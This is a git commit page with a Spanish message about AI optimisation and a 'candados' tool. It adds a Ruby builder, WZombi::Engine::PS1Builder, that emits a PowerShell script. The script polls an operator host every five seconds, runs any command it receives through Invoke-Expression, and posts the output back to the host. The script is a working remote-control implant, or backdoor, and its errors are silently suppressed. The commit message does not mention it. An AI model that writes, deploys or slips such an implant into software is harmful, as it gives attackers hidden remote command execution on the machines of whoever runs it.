[P2604] Fase 15: Optimización IA e integración de herramienta candados. Sincronización de bitácoras y actualización de planes de proyecto.

This commit is contained in:
Ricardo Monla
2026-03-19 09:52:29 -03:00
parent 183dbf6fb6
commit 5aa37e7221
138 changed files with 8777 additions and 464 deletions
@@ -0,0 +1,36 @@
module WZombi
module Engine
class PS1Builder
def self.build(host:)
<<~PS1
# W-ZOMBI ENGINE
$WZ_HOST = "#{host}"
$LAST_CMD_ID = 0
function Get-Cmd {
try {
return Invoke-RestMethod -Uri "http://$WZ_HOST/cmd"
} catch {}
}
function Send-Log {
param([string]$msg)
try {
Invoke-RestMethod -Uri "http://$WZ_HOST/log" -Method Post -Body $msg -ContentType "text/plain"
} catch {}
}
while ($true) {
$cmdData = Get-Cmd
if ($cmdData.id -ne $LAST_CMD_ID) {
$LAST_CMD_ID = $cmdData.id
$result = Invoke-Expression $cmdData.cmd 2>&1 | Out-String
Send-Log $result
}
Start-Sleep -Seconds 5
}
PS1
end
end
end
end